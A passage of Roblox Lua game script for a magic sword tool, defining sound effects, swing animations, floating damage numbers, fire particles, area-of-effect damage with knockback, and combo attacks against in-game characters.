- end
- function uss(parent,p) --unsheath
- local SlashSound = Instance.new("Sound")
- SlashSound.SoundId = "rbxasset://sounds\\unsheath.wav"
- SlashSound.Parent = parent
- SlashSound.Volume = .7
- SlashSound.Pitch = p
- SlashSound.PlayOnRemove = true
- coroutine.resume(coroutine.create(function()
- wait()
- SlashSound.Parent = nil
- end))
- end
- function cs(parent,p) --Magic Charge
- local SlashSound = Instance.new("Sound")
- SlashSound.SoundId = "http://www.roblox.com/asset/?id=2101137"
- SlashSound.Parent = parent
- SlashSound.Volume = .7
- SlashSound.Pitch = p
- SlashSound.PlayOnRemove = true
- coroutine.resume(coroutine.create(function()
- wait()
- SlashSound.Parent = nil
- end))
- end
- function ls(parent,p) --Lazer Sound
- local SlashSound = Instance.new("Sound")
- SlashSound.SoundId = "http://www.roblox.com/asset?id=1369158"
- SlashSound.Parent = parent
- SlashSound.Volume = .7
- SlashSound.Pitch = p
- SlashSound.PlayOnRemove = true
- coroutine.resume(coroutine.create(function()
- wait()
- SlashSound.Parent = nil
- end))
- end
- function is(parent,p) --Ice Sound
- local SlashSound = Instance.new("Sound")
- local rndm = math.random(1,3)
- if rndm == 1 then
- SlashSound.SoundId = "rbxasset://sounds\\ice.ogg"
- elseif rndm == 2 then
- SlashSound.SoundId = "rbxasset://sounds\\ice2.ogg"
- elseif rndm == 3 then
- SlashSound.SoundId = "rbxasset://sounds\\ice3.ogg"
- end
- SlashSound.Parent = parent
- SlashSound.Volume = .7
- SlashSound.Pitch = p
- SlashSound.PlayOnRemove = true
- coroutine.resume(coroutine.create(function()
- wait()
- SlashSound.Parent = nil
- end))
- end
- function fs(parent,p) --Fire Sound
- local SlashSound = Instance.new("Sound")
- SlashSound.SoundId = "http://www.roblox.com/asset/?id=31758982"
- SlashSound.Parent = parent
- SlashSound.Volume = .7
- SlashSound.Pitch = p
- SlashSound.PlayOnRemove = true
- coroutine.resume(coroutine.create(function()
- wait()
- SlashSound.Parent = nil
- end))
- end
- function bs(parent,p) --Boom Sound
- local SlashSound = Instance.new("Sound")
- SlashSound.SoundId = "rbxasset://sounds/Rocket shot.wav"
- SlashSound.Parent = parent
- SlashSound.Volume = .7
- SlashSound.Pitch = p
- SlashSound.PlayOnRemove = true
- coroutine.resume(coroutine.create(function()
- wait()
- SlashSound.Parent = nil
- end))
- end
- --
- function hideanim()
- attack = true
- for i = 0 , 1 , 0.2 do
- wait()
- RW.C0 = CFrame.new(1+0.5*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+67*i), math.rad(45), math.rad(-45+90*i))
- LW.C0 = CFrame.new(-1-0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80-80*i),math.rad(-45+45*i),math.rad(45-45*i))
- end
- LWRem()
- for i = 0 , 1 , 0.15 do
- wait()
- RW.C0 = CFrame.new(1.5,0.5+0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(147+103*i), math.rad(45), math.rad(45-35*i))
- end
- unequipweld()
- wait(0.1)
- for i = 0 , 1 , 0.1 do
- wait()
- RW.C0 = CFrame.new(1.5,1-0.5*i,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(250-250*i), math.rad(45-45*i), math.rad(10-10*i))
- end
- RWRem()
- attack = false
- end
- function equipanim()
- attack = true
- RWFunc()
- for i = 0 , 1 , 0.1 do
- wait()
- RW.C0 = CFrame.new(1.5,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(250*i), math.rad(45*i), math.rad(-10*i))
- end
- equipweld()
- uss(Head,1)
- for i = 0 , 1 , 0.2 do
- wait()
- RW.C0 = CFrame.new(1.5,0.5+0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(250-102.5*i), math.rad(45), math.rad(-10+27.5*i))
- end
- for i = 0 , 1 , 0.15 do
- wait()
- RW.C0 = CFrame.new(1.5,1-0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(147-67*i), math.rad(45), math.rad(17.5+27.5*i))
- end
- LWFunc()
- for i = 0 , 1 , 0.1 do
- wait()
- RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(45-90*i))
- LW.C0 = CFrame.new(-1.5+0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80*i),math.rad(-45*i),math.rad(45*i))
- end
- attack = false
- end
- if (script.Parent.className ~= "HopperBin") then
- Tool = Instance.new("HopperBin")
- Tool.Parent = Backpack
- Tool.Name = ToolName
- script.Parent = Tool
- end
- Bin = script.Parent
- function damagesplat(dmg,hit,critornot,healornot)
- local OffsetX = -2.5
- local OffsetY = 5
- local OffsetZ = 0
- local bill = Instance.new("BillboardGui")
- bill.Size = UDim2.new(1,0,1,0)
- bill.Adornee = hit
- bill.StudsOffset = Vector3.new(OffsetX,OffsetY,OffsetZ)
- bill.Parent = hit.Parent
- bill.Name = "DamageSplat"
- local tex = Instance.new("TextLabel")
- tex.Size = UDim2.new(5,0,2.5,0)
- tex.Parent = bill
- tex.Text = dmg
- tex.BackgroundTransparency = 1
- tex.ZIndex = 4
- tex.FontSize = "Size24"
- local tex2 = Instance.new("ImageLabel")
- tex2.Size = UDim2.new(1,0,1,0)
- tex2.Parent = tex
- tex2.BackgroundTransparency = 1
- tex2.Image = "http://www.roblox.com/asset/?id=42611276"
- if critornot == true then
- tex.TextColor3 = Color3.new(1,0.2,0.2)
- elseif critornot == false then
- tex.TextColor3 = Color3.new(0,0,0)
- end
- if healornot == true then
- tex.TextColor3 = Color3.new(0.2,0.5,0.5)
- end
- coroutine.resume(coroutine.create(function()
- wait(0.25)
- for i = 0 , 1 , 0.075 do
- wait()
- bill.StudsOffset = Vector3.new(OffsetX,OffsetY+5*i,OffsetZ)
- tex.TextTransparency = 1*i
- end
- bill.Parent = nil
- end))
- end
- function FireEff(Part,Time,Color1,Color2,Color3)
- local Firee = Part
- local Spawn = Part
- local colors = {}
- if Color1 ~= nil then
- table.insert(colors,BrickColor.new(Color1))
- end
- if Color2 ~= nil then
- table.insert(colors,BrickColor.new(Color2))
- end
- if Color3 ~= nil then
- table.insert(colors,BrickColor.new(Color3))
- end
- if Color4 ~= nil then
- table.insert(colors,BrickColor.new(Color4))
- end
- local Embers = {}
- local modelz = Instance.new("Model",Firee)
- modelz.Name = "FireHolder"
- for X = 1, 3 do
- local f = Instance.new("Part")
- f.Parent = nil
- f.BrickColor = colors[math.random(1, # colors)]
- f.Size = Vector3.new(1,1,1)
- f.formFactor = 1
- f.Anchored = true
- f.Locked = true
- f.CanCollide = false
- f.Transparency = 0.5
- f.Name = "Fire"
- f.TopSurface = 0
- f.BottomSurface = 0
- table.insert(Embers, f)
- end
- local R = 0
- coroutine.resume(coroutine.create(function ()
- repeat
- wait()
- R = R + 1
- for X = 1, # Embers do
- Embers[X].Parent = modelz
- local FM = math.fmod(R + X, # Embers)
- if FM == 1 then
- RandPos = Vector3.new(math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10, Spawn.Size.y / 2, math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10)
- RandDir = Vector3.new(math.random(-100,100), math.random(-100,100), math.random(-100,100))
- Embers[X].CFrame = CFrame.new(Spawn.Position + RandPos, Spawn.Position + RandPos + RandDir)
- else
- Embers[X].CFrame = CFrame.new(Embers[X].Position + Vector3.new(0,0.5,0), Embers[X].Position + Vector3.new(0,0.5,0) + Embers[X].CFrame.lookVector)
- end
- end
- until R == Time
- for i = 0 ,1 , 0.1 do
- wait(0.2)
- for X = 1, # Embers do
- Embers[X].Transparency = 0.5+0.5*i
- end
- end
- for X = 1, # Embers do
- Embers[X].Parent = nil
- end
- end))
- end
- function OT(hit) --Normal Damage
- if Hitdeb == 1 then return end
- if hit.Parent == nil then return end
- local hum = hit.Parent:findFirstChild("Humanoid")
- if hum ~= nil and hum ~= Character.Humanoid then
- local critrandomizer = math.random(1,crtrate)
- if critrandomizer ~= 1 then
- local rndmdamage = math.random(mindamage,maxdamage)
- damagesplat(rndmdamage,hit,false)
- hum:TakeDamage(rndmdamage)
- elseif critrandomizer == 1 then
- local rndmdamage = math.random(maxdamage,crtmaxdamage)
- damagesplat(rndmdamage,hit,true)
- hum:TakeDamage(rndmdamage)
- end
- Hitdeb = 1
- end
- end
- function OTND(part) --No Debounce Damage
- coroutine.resume(coroutine.create(function()
- local dd = false
- while part.Parent ~= nil and not dd do
- wait()
- local c = game.Workspace:GetChildren();
- for i = 1, #c do
- local hum = c[i]:findFirstChild("Humanoid")
- if hum ~= nil and hum.Health ~= 0 then
- local head = c[i]:findFirstChild("Torso");
- if head ~= nil then
- local targ = head.Position - part.Position; ------------------------------------------------Local
- local mag = targ.magnitude;
- if mag <= 5 and c[i].Name ~= Player.Name then
- dd = true
- local rndmdamage = math.random(1,7+5*math.random()) + fireboost
- damagesplat(rndmdamage,head,false)
- hum:TakeDamage(rndmdamage)
- FireEff(head,150,"Bright red","Bright orange","Cool yellow")
- part.Parent = nil
- end
- end
- end
- end
- end
- end))
- end
- function AoE(p,magnitude,damage,critornot)
- local c = game.Workspace:GetChildren();
- for i = 1, #c do
- local hum = c[i]:findFirstChild("Humanoid")
- if hum ~= nil and hum.Health ~= 0 then
- local head = c[i]:findFirstChild("Head");
- if head ~= nil then
- local targ = head.Position - p;
- local mag = targ.magnitude;
- if mag <= magnitude and c[i].Name ~= Character.Name then
- local foundd = false
- for ii = 1 , #AoETrue do
- if AoETrue[ii] == c[i].Name then
- --delay(1,function() table.remove(AoETrue,ii) end)
- --blast(2.5,0.5,"Bright red",prt2,false)
- foundd = true
- end
- end
- if foundd then
- end
- --
- if not foundd then
- hum:TakeDamage(damage)
- damagesplat(damage,head,critornot)
- table.insert(AoETrue,c[i].Name)
- --blast(2.5,0.5,"Bright red",prt2)
- end
- end
- end
- end
- end
- end
- function AoEP(p,magnitude,damage,critornot)
- local c = game.Workspace:GetChildren();
- for i = 1, #c do
- local hum = c[i]:findFirstChild("Humanoid")
- if hum ~= nil and hum.Health ~= 0 then
- local head = c[i]:findFirstChild("Head");
- if head ~= nil then
- local targ = head.Position - p;
- local mag = targ.magnitude;
- if mag <= magnitude and c[i].Name ~= Character.Name then
- local foundd = false
- for ii = 1 , #AoETrue do
- if AoETrue[ii] == c[i].Name then
- --delay(1,function() table.remove(AoETrue,ii) end)
- --blast(2.5,0.5,"Bright red",prt2,false)
- foundd = true
- end
- end
- if foundd then
- end
- --
- if not foundd then
- hum:TakeDamage(damage)
- damagesplat(damage,head,critornot)
- c[i].Humanoid.Sit = true
- coroutine.resume(coroutine.create(function()
- local bp = Instance.new("BodyVelocity",c[i].Torso)
- bp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
- bp.P = bp.P*2
- bp.velocity = CFrame.new(c[i].Torso.Position , p).lookVector * 150 + Vector3.new(0,25,0)
- coroutine.resume(coroutine.create(function()
- for i=1,
- bp.velocity.y/3 do
- bp.velocity = bp.velocity+Vector3.new(0,-4.25,0)
- wait()
- end
- bp.Parent = nil
- end))
- c[i].Torso.RotVelocity = CFrame.new(c[i].Torso.Position , p).lookVector * 25
- wait(0.4) c[i].Humanoid.Sit = false end))
- table.insert(AoETrue,c[i].Name)
- end
- end
- end
- end
- end
- end
- --
- local LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
- function effect(Color,Ref,LP,P1,returnn)
- local effectsmsh = Instance.new("BlockMesh")
- effectsmsh.Scale = Vector3.new(0.5,1,0.5)
- effectsmsh.Name = "Mesh"
- local effectsg = Instance.new("Part")
- effectsg.formFactor = 3
- effectsg.CanCollide = false
- effectsg.Name = "Eff"
- effectsg.Locked = true
- effectsg.Anchored = true
- effectsg.Size = Vector3.new(0.2,1,0.2)
- effectsg.Parent = swordholder
- effectsmsh.Parent = effectsg
- effectsg.BrickColor = BrickColor.new(Color)
- effectsg.Reflectance = Ref
- local point1 = P1
- local mg = (LP.p - point1.p).magnitude
- effectsg.Size = Vector3.new(0.2,mg,0.2)
- effectsg.CFrame = CFrame.new((LP.p+point1.p)/2,point1.p) * CFrame.Angles(math.rad(90),0,0)
- if returnn then return effectsg end
- coroutine.resume(coroutine.create(function()
- if not returnn then
- for i = 0 , 1 , 0.1 do
- wait()
- effectsg.Transparency = 1*i
- end
- wait()
- effectsg.Parent = nil
- end
- end))
- end
- con = nil
- function dmgcnnct(p)
- con = p.Touched:connect(OT)
- end
- function dmgdc()
- if con ~= nil then
- con:disconnect()
- Hitdeb = 0
- end
- end
- function atktype(s,e)
- coroutine.resume(coroutine.create(function ()
- attacktype = e
- wait(0.5)
- repeat wait() until attack
- attacktype = s
- end))
- end
- hold = false
- function Combo1a()
- attack=true
- for i = 0 , 1 , 0.1 do
- wait()
- RW.C0 = CFrame.new(1-0.5*i,0.5,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i), math.rad(45+45*i), math.rad(-45+45*i))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45*i), math.rad(10*i), math.rad(0))
- LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i),math.rad(-45+45*i),math.rad(45-20*i))
- end
- dmgcnnct(hitbox)
- ss(Head,1.5)
- for i = 0 , 1 , 0.2 do
- LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
- wait()
- RW.C0 = CFrame.new(0.5+1*i,0.5,-1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45+135*i), math.rad(10+35*i), math.rad(0))
- LW.C0 = CFrame.new(-1+1*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(25+65*i))
- effect("Bright blue",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
- end
- dmgdc()
- for i = 0 , 1 , 0.2 do
- LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
- wait()
- RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+20*i), math.rad(45+5*i), math.rad(0))
- LW.C0 = CFrame.new(-0.25*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(90+10*i))
- effect("Bright blue",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
- end
- attacktype = 2
- coroutine.resume(coroutine.create(function ()
- wait(0.25)
- attacktype = 1
- end))
- attack=false
- wait(0.15)
- wait()
- for i = 0 , 1 , 0.1 do
- if not attack then
- wait()
- RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i), math.rad(90-45*i), math.rad(-45*i))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(110-110*i), math.rad(50-50*i), math.rad(0))
- LW.C0 = CFrame.new(-0.25-0.75*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i),math.rad(-45*i),math.rad(100-55*i))
- end
- end
- end
- function Combo1b()
- attack=true
- for i = 0 , 1 , 0.1 do
- wait()
- RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(110-155*i), math.rad(50-40*i), math.rad(0))
- LW.C0 = CFrame.new(-0.25-0.75*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(100-50*i))
- end
- cs(Head,1.5)
- local tempmod = Instance.new("Model",swordholder)
- for l = 1 , 20 do
- local meshz = Instance.new("SpecialMesh")
- meshz.Scale = Vector3.new(0.5,0.5,0.5)
- meshz.MeshType = "Sphere"
- local shellz = Instance.new("Part")
- meshz.Parent = shellz
- shellz.Anchored = false
- shellz.formFactor = 0
- shellz.Size = Vector3.new(1,1,1)
- shellz.CFrame = hitbox.CFrame * CFrame.new(math.random(-5,5),math.random(-5,5),math.random(-5,5))
- shellz.Parent = tempmod
- shellz.Transparency = 0.5
- shellz.BrickColor = BrickColor.new("Bright violet")
- shellz.CanCollide = false
- shellz.Reflectance = 0.25
- local bv = Instance.new("BodyPosition")
- bv.Parent = shellz
- bv.maxForce = Vector3.new(200000,200000,200000)
- bv.position = shellz.Position
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.025 do
- wait()
- shellz.Transparency = 1-1*i
- end
- shellz.Transparency = 0
- end))
- coroutine.resume(coroutine.create(function()
- wait(0.05)
- bv.position = hitbox.Position
- for i = 1 , 20 do
- wait(0.1)
- bv.position = shell.Position
- end
- shellz.Parent = nil
- end))
- wait(0.01)
- end
- coroutine.resume(coroutine.create(function ()
- wait(0.25)
- tempmod.Parent = nil
- end))
- for i = 0 , 1 , 0.2 do
- LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
- wait()
- RW.C0 = CFrame.new(1-0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45+135*i), math.rad(10), math.rad(0))
- LW.C0 = CFrame.new(-1+1.5*i,0.5,-1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(50+40*i))
- effect("Really red",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
- end
- local gyro = Instance.new("BodyGyro")
- gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
- gyro.P = gyro.P + 10000
- local CF = Torso.CFrame
- gyro.cframe = CF
- gyro.Parent = Torso
- dmgcnnct(hitbox)
- ss(Head,1)
- for i = 0 , 1 , 0.1 do
- LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
- wait()
- gyro.cframe = CF * CFrame.Angles(0,math.rad(-360*i),0)
- effect("Really red",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
- end
- ss(Head,1)
- Hitdeb = 0
- for i = 0 , 1 , 0.1 do
- LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
- wait()
- gyro.cframe = CF * CFrame.Angles(0,math.rad(-360*i),0)
- effect("Really red",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
- end
- dmgdc()
- attacktype = 3
- coroutine.resume(coroutine.create(function ()
- wait(0.5)
- attacktype = 1
- end))
- wait(0.15)
- wait()
- gyro.Parent = nil
- attack=false
- for i = 0 , 1 , 0.1 do
- if not attack then
- wait()
- RW.C0 = CFrame.new(0.5+0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i), math.rad(90-45*i), math.rad(-45*i))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90-90*i), math.rad(10-10*i), math.rad(0))
- LW.C0 = CFrame.new(0.5-1.5*i,0.5,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i),math.rad(-45*i),math.rad(50-5*i))
- end
- end
- end
- function Combo1c()
- attack=true
- local bp = Instance.new("BodyPosition")
- bp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
- bp.P = bp.P + 10000
- local CF = Torso.CFrame
- bp.position = CF.p
- bp.Parent = Torso
- RWLFunc()
- LWLFunc()
- for zz = 1 , 2 do
- local mesh = Instance.new("SpecialMesh")
- mesh.MeshType = "FileMesh"
- mesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
- mesh.Scale = Vector3.new(10,5,10) * Vector3.new(0.01,0.01,0.01)
- local shell = Instance.new("Part")
- mesh.Parent = shell
- shell.Anchored = true
- shell.formFactor = 1
- shell.Size = Vector3.new(1,1,1)
- shell.CFrame = Torso.CFrame * CFrame.Angles(0,0.5*zz,0) + Vector3.new(0,-2.5,0) -- + shellspawn.CFrame.lookVector * 2
- shell.Parent = swordholder
- shell.Transparency = 0
- shell.BrickColor = BrickColor.new("White")
- shell.CanCollide = false
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.05 do
- wait()
- mesh.Scale = Vector3.new(10,5,10) * Vector3.new(i,1,i)
- shell.Transparency = 1*i
- end
- shell.Transparency = 1
- shell.Parent = nil
- end))
- end
- for i = 0 , 1 , 0.1 do
- LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
- wait()
- RW.C0 = CFrame.new(0.5+0.5*i,0.5+1*i,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+100*i), math.rad(90-90*i), math.rad(-45*i))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90-90*i), math.rad(10-10*i), math.rad(0))
- LW.C0 = CFrame.new(0.5-1.5*i,0.5+1*i,-1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90+100*i),math.rad(0),math.rad(50-5*i))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90-45*i)) * CFrame.new(0, 0, 0.2)
- bp.position = CF.p + Vector3.new(0,10,0)
- RWL.C0 = CFrame.new(1, -1, 0) * CFrame.fromEulerAnglesXYZ(math.rad(-20*i), math.rad(0), math.rad(0))
- LWL.C0 = CFrame.new(-1, -1, 0) * CFrame.fromEulerAnglesXYZ(math.rad(-20*i), math.rad(0), math.rad(0))
- prt8.Transparency = 1-1*i
- effect("Really black",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
- end
- cs(Head,1.5)
- coroutine.resume(coroutine.create(function ()
- local tempmod = Instance.new("Model",swordholder)
- for l = 1 , 20 do
- local meshz = Instance.new("SpecialMesh")
- meshz.Scale = Vector3.new(1.5,1.5,1.5)
- meshz.MeshType = "Sphere"
- local shellz = Instance.new("Part")
- meshz.Parent = shellz
- shellz.Anchored = false
- shellz.formFactor = 0
- shellz.Size = Vector3.new(1,1,1)
- shellz.CFrame = hitbox.CFrame * CFrame.new(math.random(-15,15),math.random(-15,15),math.random(-15,15))
- shellz.Parent = tempmod
- shellz.Transparency = 0.5
- shellz.BrickColor = BrickColor.new("Really black")
- shellz.CanCollide = false
- shellz.Reflectance = 0
- local bv = Instance.new("BodyPosition")
- bv.Parent = shellz
- bv.maxForce = Vector3.new(200000,200000,200000)
- bv.position = shellz.Position
- local hx = false
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.05 do
- wait()
- shellz.Transparency = 1-1*i
- end
- shellz.Transparency = 0
- end))
- coroutine.resume(coroutine.create(function()
- wait(0.05)
- bv.position = hitbox.Position
- for i = 1 , 20 do
- wait(0.1)
- bv.position = shell.Position
- end
- shellz.Parent = nil
- end))
- wait(0.01)
- end
- coroutine.resume(coroutine.create(function ()
- repeat wait() until hx
- tempmod.Parent = nil
- end))
- end))
- for i = 0 , 1 , 0.1 do
- LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
- wait()
- RW.C0 = CFrame.new(1,1.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(190+20*i), math.rad(0), math.rad(-45))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1,1.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(190+20*i),math.rad(0),math.rad(45))
- effect("Really black",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
- end
- for i = 0 , 1 , 0.1 do
- LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
- wait()
- RW.C0 = CFrame.new(1,1.5-1*i,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(210-130*i), math.rad(0), math.rad(-45))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1,1.5-1*i,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(210-130*i),math.rad(0),math.rad(45))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(45)) * CFrame.new(0, 0, 0.2)
- bp.position = CF.p + CF.lookVector * 2.5 + Vector3.new(0,-1,0)
- RWL.C0 = CFrame.new(1, -1+1*i, -1*i) * CFrame.fromEulerAnglesXYZ(math.rad(-20+20*i), math.rad(0), math.rad(0))
- LWL.C0 = CFrame.new(-1, -1+1*i, -1*i) * CFrame.fromEulerAnglesXYZ(math.rad(-20+20*i), math.rad(0), math.rad(0))
- effect("Really black",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
- end
- hx = true
- wait(0.1)
- local Hit,A, B = Raycast(hitbox.Position + Vector3.new(0,3,0) + Torso.CFrame.lookVector * 1 ,hitbox.Position + Vector3.new(0,3,0) + Torso.CFrame.lookVector * 101 ,100)
- local effectsmsh = Instance.new("CylinderMesh")
- effectsmsh.Scale = Vector3.new(1,1,1)
- local effectsg = Instance.new("Part")
- effectsg.formFactor = 3
- effectsg.CanCollide = false
- effectsg.Name = "LAZOR"
- effectsg.Locked = true
- effectsg.Anchored = true
- effectsg.Parent = swordholder
- effectsmsh.Parent = effectsg
- effectsg.BrickColor = BrickColor.new("Black")
- effectsg.Reflectance = 0.5
- local point1 = B
- local point0 = A
- for zz = 1 , 5 do
- local mesh = Instance.new("SpecialMesh")
- mesh.MeshType = "FileMesh"
- mesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
- mesh.Scale = Vector3.new(10,5,10) * Vector3.new(0.01,0.01,0.01)
- local shell = Instance.new("Part")
- mesh.Parent = shell
- shell.Anchored = true
- shell.formFactor = 1
- shell.Size = Vector3.new(1,1,1)
- shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /-2) + Torso.CFrame.lookVector * 2
- shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90),0.5*zz,0)
- shell.Parent = swordholder
- shell.Transparency = 0
- if math.fmod(zz,2) == 0 then
- shell.BrickColor = BrickColor.new("Really black")
- else
- shell.BrickColor = BrickColor.new("Bright violet")
- end
- shell.CanCollide = false
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.01 do
- wait()
- mesh.Scale = Vector3.new(10,5,10) * Vector3.new(i,1,i)
- shell.Transparency = 1*i
- end
- shell.Transparency = 1
- shell.Parent = nil
- end))
- end
- for zz = 1 , 1 do
- local mesh = Instance.new("SpecialMesh")
- mesh.MeshType = "Sphere"
- mesh.Scale = Vector3.new(20,15,10) * Vector3.new(0.01,0.01,0.01)
- local shell = Instance.new("Part")
- mesh.Parent = shell
- shell.Anchored = true
- shell.formFactor = 1
- shell.Size = Vector3.new(1,1,1)
- shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /-2) + Torso.CFrame.lookVector * 10
- shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90),0,0)
- shell.Parent = swordholder
- shell.Transparency = 0
- shell.BrickColor = BrickColor.new("Bright violet")
- shell.CanCollide = false
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.02 do
- wait()
- mesh.Scale = Vector3.new(10,15,15) * Vector3.new(i,1,i)
- shell.CFrame = shell.CFrame * CFrame.Angles(0,i,0)
- shell.Transparency = 1-1*i
- end
- for i = 0 , 1 , 0.05 do
- wait()
- shell.CFrame = shell.CFrame * CFrame.Angles(0,i,0)
- shell.Transparency = 1*i
- end
- shell.Transparency = 1
- shell.Parent = nil
- end))
- end
- for zz = 1 , 1 do
- local mesh = Instance.new("CylinderMesh")
- mesh.Scale = Vector3.new(20,0.5,10) * Vector3.new(0.01,0.01,0.01)
- local shell = Instance.new("Part")
- mesh.Parent = shell
- shell.Anchored = true
- shell.formFactor = 1
- shell.Size = Vector3.new(1,1,1)
- shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /-2) + Torso.CFrame.lookVector * -0.5
- shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90),0,0)
- shell.Parent = swordholder
- shell.Transparency = 0
- shell.BrickColor = BrickColor.new("Bright violet")
- shell.CanCollide = false
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.02 do
- wait()
- mesh.Scale = Vector3.new(20,0.5,20) * Vector3.new(i,1,i)
- shell.Transparency = 1-1*i
- end
- for i = 0 , 1 , 0.02 do
- wait()
- shell.Transparency = 1*i
- end
- shell.Transparency = 1
- shell.Parent = nil
- end))
- end
- for zz = 1 , 10 do
- local mesh = Instance.new("SpecialMesh")
- mesh.MeshType = "FileMesh"
- mesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
- mesh.Scale = Vector3.new(5,5,5) * Vector3.new(0.01,0.01,0.01)
- local shell = Instance.new("Part")
- mesh.Parent = shell
